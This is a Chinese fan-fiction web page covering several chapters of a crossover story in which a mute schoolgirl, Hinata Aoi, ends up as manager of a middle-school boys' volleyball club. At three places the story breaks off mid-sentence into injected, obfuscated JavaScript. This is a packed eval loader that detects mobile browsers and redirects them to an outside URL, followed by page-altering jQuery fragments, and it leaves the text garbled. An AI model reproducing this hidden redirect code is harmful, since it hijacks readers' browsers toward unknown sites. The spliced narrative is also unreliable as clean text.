又有身残志坚的buff加成,日向葵早晚会收获一众迷弟迷妹,继续在班级里担任“吉祥物”的职位。 想到这里狗卷棘反倒有点愁了。 能跟日向葵相处的时间已经被训练压缩一部分,要是还有别人来分这一杯羹,他真的做不到大方祝福。 ……我怎么这么自私了? 狗卷棘检讨自己,又抵触改变。 暂且把这些情绪推到一边,狗卷棘知道自己三言两语跟津美纪阐述不清楚自己的想法,索性也不费笔墨去解释,在津美纪觉得他不可靠放弃跟他沟通之前给出了自己的方案—— 「她会被人喜欢的,我也会一直陪在她身边。」 一句比起方案更像是结论,对津美纪来说毫无建设性的话,但莫名让她吞下一颗定心丸。 “……是我们。”是我们会陪在她身边。 伏黑津美纪补充道。 她跟弟弟承了五条悟很大的恩情,在她弟弟即将被禅院家带走,在她即将因抚养人失踪被送到福利院的时候华丽登场,嘴上骂骂咧咧的全是对他们爸爸——伏黑甚尔的恶评,又随手砸出天价的费用压住禅院家抢孩子的手,把他们两个收养了。 心中清楚五条悟主要是看中了她弟弟的能力,附带拯救了她,可这样她就更应该报答。 帮不上五条悟什么忙,被五条悟时常挂在嘴边的日向葵就成为了她的着力点。 她会尽自己所能,好好守护这位被她名义上的养父捧在手心里的女孩。 —— 距离开学已经过去一周的时间,日向葵也躲避排球社的学姐有整整六天的时间。 锲而不舍的运动精神是被她感受到了。 理解她们想要招揽有兴趣有能力的人壮大自己的社团,去比赛里冲击更高的名次,但是不理解为什么偏偏盯着她。 前几天高年级没正式开学还好,学姐们只是在教学楼门口和校门口张望,这几天全部开课,学姐的身影已经在班级门口徘徊了。 这一套操作像极了人贩子踩点儿。 是她把自己是个残疾人表现的还不够明显吗? 虽然只是被盯着没有真被人找上,但是被人惦记的感觉真的毛骨悚然,日向葵都有点想把残疾证带过来展示。 这所中学的女子排球社比起男子来说是有些籍籍无名,需要新鲜的或强大或有发展潜力的血液进入流淌。 但她基础点满技能荒芜的数据面板,不至于让她进入被争抢选择的行列当中吧? 32. 初中篇 社团招新开始,日向葵也是才知道每个学生必须报名参加一个社团,算学分计入学生能力综合考量标准,对于社团和学校有突出贡献的还能再加分,对升学有一定的帮助。 跑酷社团并不存在,她也没有当社长创立社团的想法,只能来到社团招新现场选一个合眼缘的申请入社。 一个个摊位就在教学楼门前的空地依次排列,走出教学楼的大门就能无缝衔接进入社团招新现场。 整齐排列的遮阳棚和桌椅,鲜艳醒目的各式条幅与海报,熙熙攘攘的人群和吵闹的气氛看着能跟火热的夏日祭打个平手。 按照校规,如此盛大的社团招新只会持续三天的时间。 第一天大多是三年级的学长学姐在盯摊位,都是一副找不到新人社团就会解散的架势拼了命在宣传,临近的摊位甚至会在分界线上抢人,嘴上和手上都不停歇,还有广撒网的打印了一堆社团报名申请表,逢人就往怀里塞。 按理说越庞大的社团会越有条理越稳重,有底气吸引新生加入再从其中优中取精,但是处于那种情景中也不免被调动情绪,瞬间抛下格调也拿出在超市抢特价产品的干劲儿。 第一天的招新过于激烈,日向葵主动接过一张张的宣传单,又凭借自己的敏捷和灵活躲过想要进一步详谈的前辈们,成功离开学校。 先回家结合日向女士之前整理的资料自己筛选一下。 想了一晚还是没有拍板决定,第二天日向葵来到教学楼二层的窗户前向下观望,衡量对比各个社团对于她来说的优势与弊端。 大理石的窗台还散发着阵阵凉意,她把窗户拉开一半多,隔着衣袖垫着手掌撑在窗台上,微踮着脚向楼下张望。 那些就在大门口的社团从这个角度只能看见棚顶,但是远一些的还算清晰,也算是能全部收于眼底。 视线飘忽不定,她左看右看,如果不委屈自己的话确实没有她真正感兴趣的社团。 这个时候是真的期待有个名为“归家社”的社团让她参加了。 现在终于知道了钞能力的好处——砸钱进来的狗卷棘可以在学生会里挂名一个不起眼的职位,每天晚上继续去训练,只要有活动的时候打打杂就可以。 退而求其次可以挑一个运动类的社团活动筋骨……绝对不能是女子排球社,学姐们人都太好了,而她对人情味“过敏”。 并且这几天某几位学姐的跟踪让她捉摸不透,还是少接触比较好。 这边日向葵还站在窗前分析,身后两个在楼梯口纠缠的身影差点因为她上演“二人转”。 准确来说是樱井桃子拦住了津美纪,不让她过去找日向葵。 姐姐,我叫你姐行吗?可别再多管闲事了! 人家是嘴不能说话,又不是生活不能自理! 只是翘着脚跟往窗外看看,身体也没有大幅度地探出窗外,就算窗户敞开的比较大,窗台的高度在腰部以上,也不至于一下子不注意掉下去。 除非有人推她…… 就别操这份心行吗? 樱井桃子一手环着津美纪的胳膊,一手拽着她身上的衣料,稳稳地把人控制住。 “走吧,我们再下去逛逛,昨天还没决定好加入哪个社团不是吗?” ”啊……” 津美纪看一眼樱井,又回头去看日向葵。 眼见她落下鞋跟,改为双臂垫在窗台上半趴着往下看,又伸手摸了摸从书包里拿出一个望远镜对在眼睛上,危险系数直线降低。 也没有了上前劝阻的必要,津美纪打消念头跟着樱井桃子下了楼。 日向葵没有注意到背后的动静,看来看去还是打算看眼缘,遇到看着人不太好相处的社团加入就好了。 还特意仔细观察了女子排球社的方向,没看见眼熟的那几位学姐,可以正大光明地路过。 日向葵收回望远镜,关上窗户,下楼,突然想去田径社的摊位面前看看,结果一出校门就被人群带动着失去方向,拥挤着就不知道走到了哪个社团的蓝色棚子旁边。 今天来挑选社团的人与昨天相差不大,有犹豫不决的,有认为第二天人会变少反倒碰到一起的。 昨天没想着参加社团招新才能全身而退,今天日向葵跳进拥堵阻塞的鱼塘,也没有游动的空间,只能跟着别人一起蛄蛹一起甩尾巴。 然后被推挤得又后退半步,一脚踩上了不知道是谁的鞋面。 赶紧稳住身体抬脚,日向葵转身想要道歉却一下子没找到对方的脸。 好高。 头发也好高。 比打排球的学姐还高一截。 日向葵仰着脖子去看对方的脸,感觉对面要是长得再高一些自己就会因为重心不稳直接后仰过去。 站的距离远一点更方便她直视对面的眼睛真诚道歉,但是为了不回到蜂拥的人潮,她控制着身体不再向后挪动……却还是被横冲直撞不管不顾从人群中突围的人撞到了后背。 再近她就要钻到学长怀里了! “啪!” 一巴掌狠狠地拍在旁边的桌子上,拍得酸痛震麻,日向葵又一次紧急稳住了自己,暗松一口气。 对面学长想护一下女孩的手臂空落落地收回去,转头看见刚刚突围的学弟把自己突得也摔倒在地上,嘴里的呵斥就出不了口了,一边大喊“让开!”一边大步上前捞人,像拎鸡仔儿一样把人拽起来。 “……小心点啊,快道歉!” 学弟在多重惊吓之下明显懵了,低头反复地说着“对不起”,在学长松手后又挪着小碎步慢慢往校门口的方向游。 一场闹剧结束,不知道该怎么感谢学长,日向葵想起书包里有一瓶没开封的牛奶,翻出来递过去。 高个子学长健康的肤色下透出不明显的薄红,不好意思与她灿金的眼眸对视,呐呐着接过牛奶,另一只手慌乱的好像找出点什么东西回礼才显得妥帖,却胡乱地把入社申请表塞到了女孩手里。 几乎没有这么近距离地跟女孩子接触过,还是相貌如此精致的女孩,少年羞涩中强装着不羞涩,脑袋里已经变成一团浆糊。 今天他的心情本来很糟糕,可以说昨天,今天,以至于明天,他的心情都会是很糟糕。 就因为在高年级中他太靠谱太正常了,被安排这三天都要来帮忙社团招新,要割舍掉很多训练的时间。 同级的国见英是节能型人格,来到这里也会丧丧的,体现不了男子排球社的正气和朝气,还可能借着机会摆烂。 比较出名的影山飞雄是根本不会聊天,一句话就能把人噎个半死,教练怕他自己打破自己的人气滤镜,拉低外界对于排球社的评价。 所以这个活就落到了他的头上。 他也不是介意多干活,但是一想到自己在发传单的时候别人……尤其是影山那家伙在努力的练习,就火气很大! 又有天赋又拼命,靠,影山那家伙怎么会那么适合打排球?!! 在学长——金田一神色来回变换的时候,日向葵正仔细端详手里的入社申请表。 ……也不是不能讨个职位? 剩下的运动她更不了解,但是要去女子排球社又有些畏惧她们的热情和贴心。 男子排球社应该跟她对女子排球社的第一印象差别不大——都是一群因为排球维系在一起的人,比起人情交往更注重实力提升与团队合作。 并且男子排球社多了一层性别的隔离会好很多,不用担心与同社团的伙伴们建立多亲密的友谊。 但是社团里有适合她的位置吗? 经理吗? 他们会介意经理不能开口说话吗? 日向葵掏出笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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金田一他们比及川彻低一届,也因此初中的前两年没有过女经理。 现在及川彻升上高中,教练也没有松口的意思,金田一也不想去试探教练的底线。 他刚刚就是一时没过脑子把申请表递出去了而已,现在影山飞雄冷着脸一副他做错事的样子,让他很是不爽。 当着日向葵的面他忍住了翻白眼的冲动,见到女孩还拿着申请表关注他们这边的动静,也是担心女孩真的生出想要加入的心思,含着愧疚连忙说: “抱歉,我发……”错了。 “啊!!!”一道尖锐的女声刺破人群扎进他们的耳朵。 三个人一同寻着声音看过去,只见一个对于三个人来说都算是认识的熟人正大惊失色地看着他们,手指指着日向葵的方向,满脸的不认同。 “你怎么在这里?!!” 千防万防,日向葵还是被女子排球社的学姐逮到了。 正正好好是当初拽着她后领把她拉进体育馆的那位。 又从她身后钻出来另一位齐刘海学姐,有些社恐的拘谨,但凶狠地拍了一下前面那位学姐的手背。 “啪!”的一声,跟日向葵拍桌子的那一下差别不算大,听得这边三个人的手背都有几分幻痛。 “这样不礼貌的……” 下手的原因随后赶来,直接先从物理意义上让那位学姐收回了手,难说有没有几分以前被打后的报复心理在作祟。 好像已经习以为常,学姐没有生气只是对着自己泛红即将发肿的手背吹气,也不忘记同时劝诫日向葵: “这个社团可千万不能报啊!” 33. 初中篇 怎么了? 为什么不能报? 虽然是真的不能报,但那也是因为他们男子排球社目前不招经理才不能报名,怎么说得跟他们社团有什么毛病一样? 这话听着刺耳,金田一皱起眉头,逆反心理都快被这一声喊得怒长一截。 旁边的影山飞雄没有受半点影响,听完女排的话还在认同的点头,让金田一看着更加觉得不顺眼。 “不能加入”和“不能加入”是有区别的好吗? 不是,这人怎么一点集体荣誉感都没有?被人这么大呼小叫了还在边上点头! 这次齐刘海学姐没说这句话不礼貌了,沉默中把半个身子又藏回同伴的身后,大眼睛直勾勾地看着日向葵,好像在犯愁女儿识人不清,年少不经事,马上就要跟着黄毛离家出走了。 ……不至于吧? 他们跟女子排球社的交流也不算多,怎么能留下这么深刻的成见。 难不成及川前辈瞒着他们跟女排的某位成员有过一段感情,还渣了对方? 百思不得其解,金田一的脑回路逐渐跑偏,恍神中女排的两位已经一前一后穿过人群往这边来了。 男排女排的沟通交流的确仅限于定期举办的友谊赛,除了队长之间能说上几句话,双方队员也只停留在点头之交。 但是正常的点头之交也应该是双方都比较客气,见了面打个招呼再错身离开,不是像男排队员一样那么孤傲,碰上了话也不说,甚至还有些躲着她们,过分地保持距离,像是怕沾染上什么致命的病菌。 想要找补说他们人均脸盲,走在路上没认出来她们,赛场上倒是眼尖的很,刚打完比赛满身热气还没消散也能叫的出来女排队员的名字,夸赞几句再聊两句战术,怎么一出体育场眼神就不好用了? 更重要的是瞧不起人! 两方实力是有差距,在某些人员的配置下甚至有点悬殊,导致男排那边没有派出过首发阵容。 但是都已经不是首发阵容了,比赛的时候竟然还有人在划水,跟她们打排球就像哄孩子一样敷衍,导致她们赢了也没什么兴奋感,要是输了只会更憋屈……真的是太不尊重人了! 男排教练也不是什么好相处的。 整天臭着张脸,自己的队伍还没带明白,就来对着她们说教。 实则也不会管理,除了及川彻那个吊儿郎当的,其他人要么高冷,要么木讷,都是闷葫芦,根本处不来! 她们的教练脾气是好,从不回嘴,但是手底下养了一群炮仗,要不是队长知道她们的想法一直压着,她们早就跟男排老死不相往来了! 学姐在心里劈头盖脸一顿点评,越想越憋屈,越想越生气,满肚子牢骚无处发泄,一举一动都冒着火星子。 这种人品的队伍怎么能参加?怎么能眼睁睁看着学妹往火坑里跳! 而且男排不是不招女经理吗?怎么及川彻那家伙刚升学走了,男排就要破戒了? 没想到金田一这浓眉大眼的家伙看着正派也这么急色,在这里哄骗无知学妹! 她偷偷观察了日向葵好多天,心中的惋惜忍不住地往外溢。 排球的乐趣不全在于比赛,但是不参加比赛又会感觉自己一事无成。 在她们队里,没有哪个替补是心甘情愿不上赛场的,都是咬着牙训练,就算整体能力不行也要有个地方练到出彩,去争取替补上场的机会。 通过观察她发现学妹的身体反应很快,运动神经很灵敏,动作还精巧,是个打自由人的好材料。 但是通过上次见面她也能看的出来学妹没有加入女排的心思。 而且学妹的身体情况也不能跟她们上赛场,队长抓包她们跟踪之后也训斥他们不要干涉学妹的选择…… 结果男排这边不声不响地要把人抢走了? 那还不如加入她们呢! 跟女孩子们搂搂抱抱互相鼓励一起进步难道不香吗?! 学姐的脚步逐渐提速,往着金田一的面门直冲而来。 金田一略显手足无措,又觉得莫名其妙。 发那么大的火干嘛? 男排被说了他都还没生气呢! 这两天的烦闷和对影山的意见杂糅到一起,金田一也气性上头被对面点燃了,直接上前一步正面迎上走过来的女生,不忿中掺杂一丝疑惑: “怎么就不能加入了?!” 他们男子排球社到底哪里不行了??! 这句话一出女排的两位还没回复,站在一旁演大树的影山飞雄先惊讶地“啊”出了声。 原来现在可以招女经理了吗? 他怎么没听教练说过? 脑回路尝试对接但完全没对接上,影山飞雄食指拇指分开抵住下巴仔细思索。 确实他经常错漏一些跟排球无关的信息……既然靠谱的金田一给学妹发了入社申请表还说出“怎么不能加入”这种话,那应该就是教练通知今年招经理,不限男女了。 影山飞雄右手攥拳锤上左手,恍然大悟。 不清楚社团之前为什么不招经理,尤其是女经理,也不明白现在怎么突然又能招了,但是不妨碍他把逻辑疏离通顺,站在结论的这边。 他扭头确信道: “男排可以加入的。” 略过了金田一和女排队员,自顾自对着日向葵纠正自己的说法。 刚刚他说的话是“错”的,男排需要经理,性别没有限制,日向葵可以加入,手里拿着申请表是没有任何问题的。 日向葵也被说得一愣,视线缓慢地拂过众人,最终落到影山坚毅的面庞上。 正在观望一场还没演起来的大戏,被冷不丁地对话也是有几分猝不及防。 长得很显聪明的学长又感觉泛着一股傻气……反正加入男子排球社看起来问题不大? 那她可就要填写申请表了。 点点头表示知晓,日向葵丝毫不见外地拉了把椅子,用自己随身带的圆珠笔在空白的表格里留下痕迹。 不管男排招不招残疾人,先把表格填上再说。 又不是只能报这一个社团,要是等学姐学长吵明白了再进行下一步,她今天也不用再看其他社团了,根本没时间。 做好理论准备的金田一却被影山这一句话浇灭了一半多的火气。 更大的问号在他的脑袋顶上浮现了。 不是才提醒他不能招女经理吗?怎么转眼话锋就变了? 难不成教练把他派过来是特意来告诉他可以再招几个经理的吗? ……这小子怎么连传话都传不明白?! 学姐见到影山如此不把她们放在眼里,无视所有人对着日向葵说话,心里的火焰被添了一把柴,更盛了。 这人什么意思?二传打得这么好,人情世故是一窍不通吗? 这边正要吵架呢,没看到吗! 还在这里正大光明的挖墙脚,当她们是空气吗!! 炮仗要升空变成烟火了,日向葵的身影在学姐的眼中变得越发娇小,楚楚可怜,完全一副受害者的模样。 勉强压下怒火,她不是头脑一热就会忘记自己到底要干什么的人。 与其在这边跟男排的人废话,不如直接去劝学妹来得更高效,别被影山那个傻小子三言两语忽悠走了。 调转方向要往日向葵那边走,金田一不了解她要干什么,下意识跟了一步,挡在女生面前阻止她前进。 “你要干什么?”×2 男女声交叠在一起,一个疑惑,一个怒气冲冲,一时间整个场面多了几分停滞的宁静。 一道清朗的声音由远及近打破僵局。 “呦吼!看看是谁回来啦~” 自己给自己的出场做铺垫,及川彻高举手臂期待学弟们的惊喜欢迎。 他也是社牛到穿过一层人来到了被包围的焦点圈里面。 让我来看看是谁在争执闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380306|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑话被别人围观了~ 原来是我排球社的学弟学妹们啊~ 金田一和学姐都被及川彻这一嗓子弄得愣了一下,然后继续像老鹰捉小鸡一样对峙,无形的排球变成了篮球,学姐气势汹汹要带球突破,金田一严阵以待严防死守。 “抱歉,及川前辈,等一下聊。” 抽空被回了一嘴,及川彻也在一旁沦为了背景板。 这不是他想象中回到母校闪亮登场的画面! “小飞雄,这是怎么了?” 影山不清楚及川为什么用手挡着嘴小声地问他,怀着对任何意义上的前辈的恭敬,他认真回复: “金田一在跟女排抢人,就是那个学妹,金田一想让她来队里当经理。” 正常音量说出一句话,一口大黑锅就结结实实砸在了金田一身上。 “小点声啦!”别吵到了旁边大眼瞪大眼的两个人! 及川彻真的是拿影山的钝感力没办法,而且…… “招女经理吗?” 及川顺着影山示意的方向看去,女孩乌黑顺滑的发丝乖巧垂下遮挡住小半张脸,皮肤白皙透亮,浓密的睫毛半盖住流金的眼眸,坐姿端正,纤细的手指执笔书写,一副岁月静好的模样。 教练今年打算再招几个经理了?还是女经理? 看着更适合搞文艺啊……能被女排那群老虎豹子追着要的人肯定不差! 三两步上前,及川彻自来熟地打招呼: “你好呀,学妹~是对排球有了解吧,平常打什么位置呢?” 女排总不至于这么费力地招个经理吧?这个孩子一定有什么过人之处! 日向葵停笔,仰面对上及川彻那张不输明星爱豆的脸,心中没有惊艳,只有一种终于要来了,大石头即将落地的感觉。 这么久了总算有人要跟她对话,知道她说不了话了。 日向葵手掌立在少年面前示意他稍等一下,左手从上衣兜里拿出便携日记本,刚提笔,被众人忽视的齐刘海学姐不知道从哪里蹿出来,挡在日向葵面前,自封自己为日向葵的御用发言人。 “及川学长您好。” “这位学妹比较擅长用纸笔沟通,可以当男排的经理吗?” 如幽灵一般闪现把及川彻吓得一激灵,优越的反应神经带着他连退两步。 “……哦、哦。“ 说的是什么?啊?用什么沟通?沟通什么? 他记得这个排球社的学妹,赛场上冷静机敏,一出场地就社恐的要命,怎么现在这么勇了?把他都能吓一跳。 及川彻整理好表情,脑袋还没分析明白,嘴里直接秃噜出来官方回复: “我已经毕业了,这种事情还是要看教练那边怎么说的~” 所以什么叫“擅长用纸笔沟通”啊?是作文写的好的意思吗? 是适合写球手能力分析对比报告,还是能帮某些学习成绩一塌糊涂的小子们写检讨? 齐刘海学姐没有解释的想法,刚刚那两句话已经用尽她的勇气,赶紧转过身体用后背阻挡及川彻的视线,颤抖的指尖隔着衣袖抚上日向葵的手腕,对着她小幅度地摇头。 她不赞同日向葵加入男子排球社。 不像另一位学姐那么脾气火爆,她还是想象了一下日向葵加入男排后的生活。 都不用多长远,就以日向葵的长相和特殊身份,不知道会迎来多少或好奇或异样的眼光。 凭借男排在学校的知名度,不出三天日向葵就能在全校出名了,大家都会知道男排突然招了一个女经理,还是一个哑巴。 只是幻想一下都觉得恐怖,那么多的关注,那么多的打量,像是时刻被人挖掘私生活的明星,学妹会在众人瞩目之下被溺毙吧?! 被自己的想象吓得打了个冷颤,齐刘海学姐手上的力气加重了一些,透出一股坚定。 还是不要加入了好,随便找个社团加入都比男子排球社强! 34. 初中篇 学姐坚定的告诫通过手腕上的力道传输进日向葵的大脑,本来一件无所谓的社团报名事件沾染上严肃的味道。 日向葵有些无力地往座椅后一靠,看不明白事态是为什么发展成现在这么乱的。 原本只是她和学长A差点撞到一起,还没怎么交流就来了个学长B。学长们聊了两句刚要跟她说点什么又过来学姐A和学姐B。 这边学长A和学姐A一个喊着“不行!”一个问着“为什么?!”,突然就一副要吵起来的架势。 然后又蹦出来一个大前辈,穿的校服跟大家都不一样也一点儿不觉得自己扎眼,对着她一通猛瞧。 光近处的就有ABABA了,还有旁边不知道是前辈还是平辈在看热闹的CDEFG……们,也辛苦大家放学不回家凑在这里等八卦了,要不她现场表演一段默剧冷冷场子? 日向葵一脸生无可恋,她也是发现看热闹的人越来越多才想着赶紧填表,赶紧递交,赶紧离开。 现在身后是草坪身前是学姐……人不会飞难道不是生物学的遗憾吗?! 桌子上的申请表已经完成,但是她还没有心脏强大到可以当着齐刘海学姐的面若无其事地交过去。 反正这里都这么多人了,能不能再来个有能力的救救她! 顺应日向葵的期待,真正能主持大局的人来了。 岩泉·靠谱稳重·上任男排队长·唯一能制住“队花”的天选幼驯染·一,虽迟但到:“及川……金田一,你在干什么呢?!” 下意识认为是及川彻做出什么事情引起的骚动,走近才发现怪罪错了人。 跟他一起走过来的现任女排队长更显威严,丝毫不怯场地看着围观人的面孔挨个对视环视一圈,一句“请不要在这边停滞拥堵”瞬间驱散了大部分的人。 随后两位队长相视点头,秒秒钟达成共识,自己收拾自己家孩子,一人给了个爆栗。 “都说了不要再骚扰学妹了,还弄出这么大的动静!” “对着女生怎么这么不讲礼貌,还让别人在这边看笑话!” 及川彻原本嬉皮笑脸的想上前挪揄岩泉一错怪了他,现下也只敢安分地站在一边避开幼驯染的火气……但也没逃过一个手刀。 “你这么早过来都不拦一下,任由他们胡闹?” “好疼啊,小岩!”及川彻捂着脑袋痛呼,他也不过是早到了一下下,为什么就承担了这么大的责任。 委屈瘪嘴道:“我还没搞清楚是怎么一回事呢。” 不过是看岩泉一和女队学妹在校门口寒暄太无聊,才独自先进来的,唯一能把话说明白的金田一还是故事的主角,他哪里能知道到底发生了什么。 “……好过分,不要拿看傻子的眼神看我!” 岩泉一闻言眉梢一挑,淡定地把视线转到金田一的身上,还没等他开口问,金田一就倒豆子一样把来龙去脉仔仔细细地说明。 像是一篇事无巨细的小学生作文,岩泉一耐心十足地听完,沉思中找出其中的要点。 无所谓女排和日向葵之间的关系,无所谓女排不让日向葵加入男排的原因……他们教练怎么会松口招经理了? 是便宜的学弟们不好用,还是想着事情过去那么久防备松懈了。 算是半个当事人,岩泉一知道其中的隐情。 不单单是规避荷尔蒙的相互作用,是有装作对排球感兴趣的心思不正的人拿男排成员的私人物品偷偷卖二手,其中当属及川彻的最为抢手。 被发现的时候幸好还只是毛巾和护膝这一类的用品。 校方不想排球社和学校因为这么不雅的事情出名,就把风声压下去,暗自开除了那位同学,没有大肆宣扬。 教练也当机立断卡死了经理的招新机制,改为内推+考核,还缩减了人数,忙不开的时候直接让低年级的学弟轮流帮忙监测数据。 真的是想不到社团又开始招经理的理由。 女排队长看似在训队员,实则跟自己的队员一样竖着耳朵偷听男排这边的情况。 张了张嘴想说点什么却又咽回去。 日向葵这样的身体情况真的很难不让人在意,但是说到底是人家的私事,她也不好打着为对方好的旗号到处替人家操心替人家讲。 而且她相信岩泉一可以处理好这些事情,就左手一个右手一个,让队员道歉后带着她们离开。 两位学姐不情不愿的走了,回头时委屈不舍的小表情让日向葵不由失笑,不禁抬手挥了挥以作告别,又攥拳拇指向下按压,说“谢谢”。 虽然没具体帮上什么忙,但好歹是累到了~ 日向葵也明白学姐们对待她的满腔赤诚。 跟男排吵架的那位学姐也没撕破脸说出什么理由,小学鸡一样只是瞪视,为了她跟人高马大的金田一僵持。 齐刘海学姐甚至都说不出来“哑巴”这两个字,只委婉地帮她询问拿纸笔交流可不可以。 但其实不需要这么多心照不宣的隐秘,事实就是这个样子,只要她需要跟别人沟通,不能说话就是摆在明面上的事情,越遮掩越显得特殊和在意。 挥别了女排,日向葵也等待不了傻站着的男排了。 刚刚在两边都内部沟通的时候,她闲来无事看了一眼静音的手机,半个小时前的消息还在“未读”中平躺。 日向女士领到了上学期评选优秀教师的奖金,下班后不知疲倦地要开车接她出去吃大餐。 以日向女士的行动力来讲,算算时间也该到校门口了。 不想再多耽搁,日向葵把申请表放到桌上的那一堆里……犹豫中又拿了回来,想了想没去跟金田一“说”,而是走到岩泉一面前双手把申请书递过去。 “哦……好。” 已经是毕业生,岩泉一觉得自己拿着不太好,但是看这一圈不靠谱的平辈后辈,他还是接下了申请表。 日向葵伸出食指虚点了几下申请表,只笑不语,微微鞠躬告别。 没明白是什么意思,岩泉一刚想仔细看看表格内填写的内容就被及川彻抽走了。 “这件事情还是让我来吧,队长大人~” 看出来自家幼驯染有点难办,及川“骑士”挺身而出,一个潇洒出手华丽转身,手臂半遮住的眉眼说不尽的风流……落在岩泉一眼里就是大写的“装×”。 这么轻佻的幼驯染他也是可以不要的。 而且他们本来就是一起回来看望后辈和教练的,早晚都要一起去找教练,在这里分什么你做我做,还不是要一起做……搞得像是多有担当一样。 无语中岩泉一上前抬脚踹了一下及川彻的小腿: “别耍帅了,快走!” “哎呦,好疼!” “别总打我,我会变得跟小飞雄一样笨的!那太可怕了!” “……你的大脑长在小腿上吗?笨蛋。” 二人吵吵闹闹地走了,留下金田一和影山飞雄他们继续进行招新。 重新分出一摞宣传单塞给影山,对方慢吞吞地接过,如大海般沉静的眼眸盯着金田一的眼睛认真地问: “我有很笨吗?”刚才及川前辈说他笨的时候岩泉前辈都没有反驳。 难不成他真的很笨吗? 金田一:“……” 救救他吧,他今天真的累了…… “这瓶牛奶……” “不准喝!” 那是学妹送给他的! * 办公室—— 及川彻和岩泉一直愣愣地站着,看着教练拿着学妹的入社申请沉思了好久。 及川彻认为的好久—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380307|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足足有三分钟! 时间倒回到他们刚找到教练的时候—— 不知道是在跟谁通话,教练看见他们来了摆摆手让他们稍等一下,自己移步到窗边想先把这通电话讲完。 及川彻看着教练的侧脸发呆,突然灵机一动,想起来网络上很火的一个段子——当一个人在打电话的时候,无论递给他什么东西他都会接住。 想实验的心思忍不住地疯长,他一顺手就把日向葵的入社申请递过去了。 教练果然没有拒绝,在疑惑中接下申请表。 实验成功的及川彻亮着星星眼朝同伴炫耀,然后又被岩泉一赏了一个爆栗。 “给我礼貌一点啊,笨蛋!” 但是申请表已经通过这个契机到了教练手里,他也没有其他能做的,只能等教练看完以后给一个答案。 等了五分钟教练打完电话,又等了三分钟教练一言不发。 明明是帮学妹交一下入社申请,怎么有一种是他们在等待入社审批的既视感? 又是三分钟,教练终于放下了申请表,略带欣慰地看向他们,仔细一看嘴角还有点压抑不住的抽动。 “是你们要向我推荐她是吧。” 疑问句变成陈述句,教练不知道脑补了什么,已经在心中得出肯定的答案。 还没等及川二人回复,教练又接上一句: “她的情况我也有大概听说过,当排球社的经理……也是可以的。” “现在也正是缺人的时候,升上三年级的经理都退社了,也不能什么活都让低年级的队员帮忙干。” 听着这一番像是在自己给自己找理由的说法,岩泉一把想解释的话又吞回肚子里,和及川彻面面相觑都不知道该说点儿什么。 怎么就成他们推荐的了? 但是好像解释不解释清楚也没什么差别?教练看着是很中意的样子。 ……这个学妹到底是个什么人物?怎么连教练都听说过? 困惑的二人短时间内得不出答案了,他们的教练也不想把话说得太透,揭过这一话题转而去问他们的高中生活。 他们想破脑袋也想不到教练略显奇怪的言行是在说服自己喜迎“财神”进男排。 北川第一中学作为学习和运动两开花的强校,一直鼓励学生德智体美劳全面发展,对身体有残疾的学生也是设立了一些优待制度,以帮助他们更好地融入校园生活。 连带着拥有残障人士的班级和社团也能享受到一定的红利。 前两天男排教练跟同事们出去吃饭,酒过三巡也聊起过这个话题。 同事们大多哀叹残障人士可遇而不可求,新一届好不容易有一男一女两个言语残疾,一个内定了学生会,一个不知道要便宜给哪个社团。 又能增加社团经费,又能提升社团声望,也不耽误当事人给社团做贡献,这么好的事情提着灯笼都难找。 尤其是那个女生,据说升学考试差一点就全科满分! 体育成绩也不差,全都是优秀,其中短跑更是校记录的保持者。 这样的成绩放在正常人身上也已经足够拔尖,放到残障人士身上更加难得。 虽说他们运动类社团经费多,但是花钱的地方也多。谁能拒绝这么优秀还能给社团加经费的孩子。 甚至还能帮那些只长运动细胞的特长生开垦一下荒芜的脑袋。 这样的好苗子到底会便宜谁啊? 文学类社团?女子类社团? 这样的好苗子,没想到就便宜到男子排球社头上了! 男排教练要为自己当时在饭桌上的嗤之以鼻道歉,他不该故作清高地不去附和他的同事们。 他承认是他吃不到葡萄说葡萄酸。 现在有幸一尝。 这酸,爽! 35.初中篇 “一年级A班,一年级A班,一年级A班……黑头发金眼睛,黑头发金眼睛,黑头发金眼睛……” 社团招新结束,放学后国见英奉命去接日向葵到男排的体育馆参加社团活动。 没有哪个学弟有过这样的待遇。 挤破头才进的火爆社团,位置都是靠自己打探的,找不到地址都要羞愧得原地退社,哪里需要别人来接。 还是三年级的学长亲自来接。 身为北川第一中学男子排球社目前唯一女经理的排面,日向葵也是在自己不自觉的情况下稍稍拿捏了。 国见英倒没觉得派人来接有多么的隆重,毕竟是社团内唯一的学妹,照顾一下也正常。 但是安排他来接就有点讲不通了吧? 他,金田一,影山飞雄,三个人,只有他一个人没见过学妹,结果让他来接人? ?? “真是的,金田一怎么非得在这个时候闹肚子……”国见英不满地碎碎念。 教练来教室抓人当“苦力”的时候只剩下他和影山飞雄在场。 他在磨磨蹭蹭地收拾书包等金田一。 而影山他有事情,他在忙。 他开学没两天就被英语老师责令留堂。 